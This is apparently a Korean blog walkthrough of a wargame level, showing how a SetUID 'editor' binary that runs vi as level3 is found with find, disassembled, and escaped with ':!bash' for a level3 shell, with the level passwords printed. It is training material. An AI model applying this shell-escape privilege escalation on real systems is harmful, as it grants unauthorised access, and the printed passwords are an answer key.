반응형

login as : level2

password : hacker or cracker


 

 

텍스트 파일 편집 도중에 쉘의 명령을 실행시킬 수 있다고 한다.

 

find / -user level3 -perm +6000 -exec ls -l {} \; 2> /dev/null

find 명령어로 시스템 내에서 level3 사용자의 소유이며, SetUID 혹은 SetGID 둘 중 하나라도 설정된 파일 또는 디렉토리를 찾고, 해당 결과에 ls -l 명령을 수행하여 출력하는데, 에러 내용은 휴지통으로 버리고 출력한다.

 

/usr/bin/editor

 

editor을 실행하면 위와 같이 vim이 나온다.

 

vi와 vim은 유사하면서도 약간 다른 프로그램인데, vim을 editor로 바꿔뒀나 싶어 3개의 파일을 ls -l 명령으로 보면 아래와 같다.

 

파일의 크기가 모두 다른 것으로 보아 세 개 모두 다른 파일이다.

 


VI

 

VI 편집기의 여러 기능 중 명령어 실행 기능이 있다.

 

이 기능은 편집 도중 셸 화면으로 일시적으로 복귀함과 동시에 사용자가 입력한 명령어를 실행할 수 있는 기능이다.

 

:![명령어]

 

위와 같이 VI의 명령 모드에서 :!ls 를 입력하면 

 

 

ls 명령어의 결과가 보여지게 되고, Enter 키를 누르면

 

 

다시 VI 편집기로 돌아오게 된다.

 

이 기능을 조금 응용하면 결과를 보여주는 것에서 끝나는 것이 아니라 결과를 편집 화면에 추가할 수도 있다.

 

 

위와 같이 :r!ls 를 입력하면

 

 

ls 명령어의 결과를 편집 화면에 추가해준다.

 

즉, 실행하고자 하는 명령어 앞에 r 옵션만 주면 명령어의 실행 결과를 가져와 편집할 수 있다는 것이다.

 


분석

 

0x08048360 <main+0>:    push   %ebp
0x08048361 <main+1>:    mov    %esp,%ebp
0x08048363 <main+3>:    sub    $0x8,%esp
0x08048366 <main+6>:    and    $0xfffffff0,%esp
0x08048369 <main+9>:    mov    $0x0,%eax
0x0804836e <main+14>:   sub    %eax,%esp
0x08048370 <main+16>:   sub    $0x8,%esp
0x08048373 <main+19>:   push   $0xbbb
0x08048378 <main+24>:   push   $0xbbb
0x0804837d <main+29>:   call   0x80482a0 <setreuid>
0x08048382 <main+34>:   add    $0x10,%esp
0x08048385 <main+37>:   sub    $0xc,%esp
0x08048388 <main+40>:   push   $0x8048444
0x0804838d <main+45>:   call   0x8048280 <system>
0x08048392 <main+50>:   add    $0x10,%esp
0x08048395 <main+53>:   leave
0x08048396 <main+54>:   ret
0x08048397 <main+55>:   nop
End of assembler dump.

 

위의 main() 함수의 대략적인 동작 원리는 아래와 같다.

1. 스택을 구성하고, setreuid() 함수를 이용해 실행되는 파일의 UID 권한을 level3으로 설정한다.

2. system() 함수를 이용해 vi 편집기를 실행하는데, 현재 권한이 level3 권한이므로 level3 권한으로 vi 편집기를 실행하는 것이다.

 

main() 함수의 동작 원리를 자세히 봐본다.

0x08048360 <main+0>:    push   %ebp
0x08048361 <main+1>:    mov    %esp,%ebp
0x08048363 <main+3>:    sub    $0x8,%esp
0x08048366 <main+6>:    and    $0xfffffff0,%esp
0x08048369 <main+9>:    mov    $0x0,%eax
0x0804836e <main+14>:   sub    %eax,%esp
0x08048370 <main+16>:   sub    $0x8,%esp

 

스택 프롤로그 작업을 통해 main() 함수에 진입하기 전의 ebp의 값을 스택에 저장하고, EBP를 ESP와 같은 곳에 위치시킨다.

 

그리고 main() 함수에서 필요한 만큼의 공간을 확보한다.

 

0x08048373 <main+19>:   push   $0xbbb
0x08048378 <main+24>:   push   $0xbbb
0x0804837d <main+29>:   call   0x80482a0 <setreuid>
0x08048382 <main+34>:   add    $0x10,%esp
0x08048385 <main+37>:   sub    $0xc,%esp

 

0xbbb는 10진수 3003이며, 이는 level3 UID이다.

 

3003을 스택에 두 번 넣고, setreuid() 함수를 호출하는데 이는 아래와 같다.

 

setreuid() 함수가  호출되면 일시적으로 level3의 EUID 권한을 갖게 된다.

setreuid(3003, 3003);

 

0x08048388 <main+40>:   push   $0x8048444
0x0804838d <main+45>:   call   0x8048280 <system>
0x08048392 <main+50>:   add    $0x10,%esp
0x08048395 <main+53>:   leave
0x08048396 <main+54>:   ret

 

0x8048444 주소를 스택에 넣고 system() 함수를 호출하는데 이는 아래와 같다.

system("/bin/vi");

 

#include <stdio.h>

int main()
{
    setreuid(3003, 3003);
    system("/bin/vi");
    
    return 0;
}

 

위의 분석 내용을 통합하여 의사 코드로 표현하면 위와 같다.

 

level3의 UID를 부여한 후 /bin/vi 프로그램을 실행하니 당연히 파일의 크기는 vi나 vim 보다 작지만 vi 편집기가 실행된 것이다.

 

그리고 vi가 실행 중일 때는 level3 권한을 얻은 상태인 것이다.

 


풀이

 

 

/usr/bin/editor 프로그램을 실행한 후 위와 같이 :!bash를 입력하면 

 

 

level3 셸이 떨어지게 된다.

 

이 상태에서 my-pass 명령을 입력한다.

 

can you fly?

 

반응형

+ Recent posts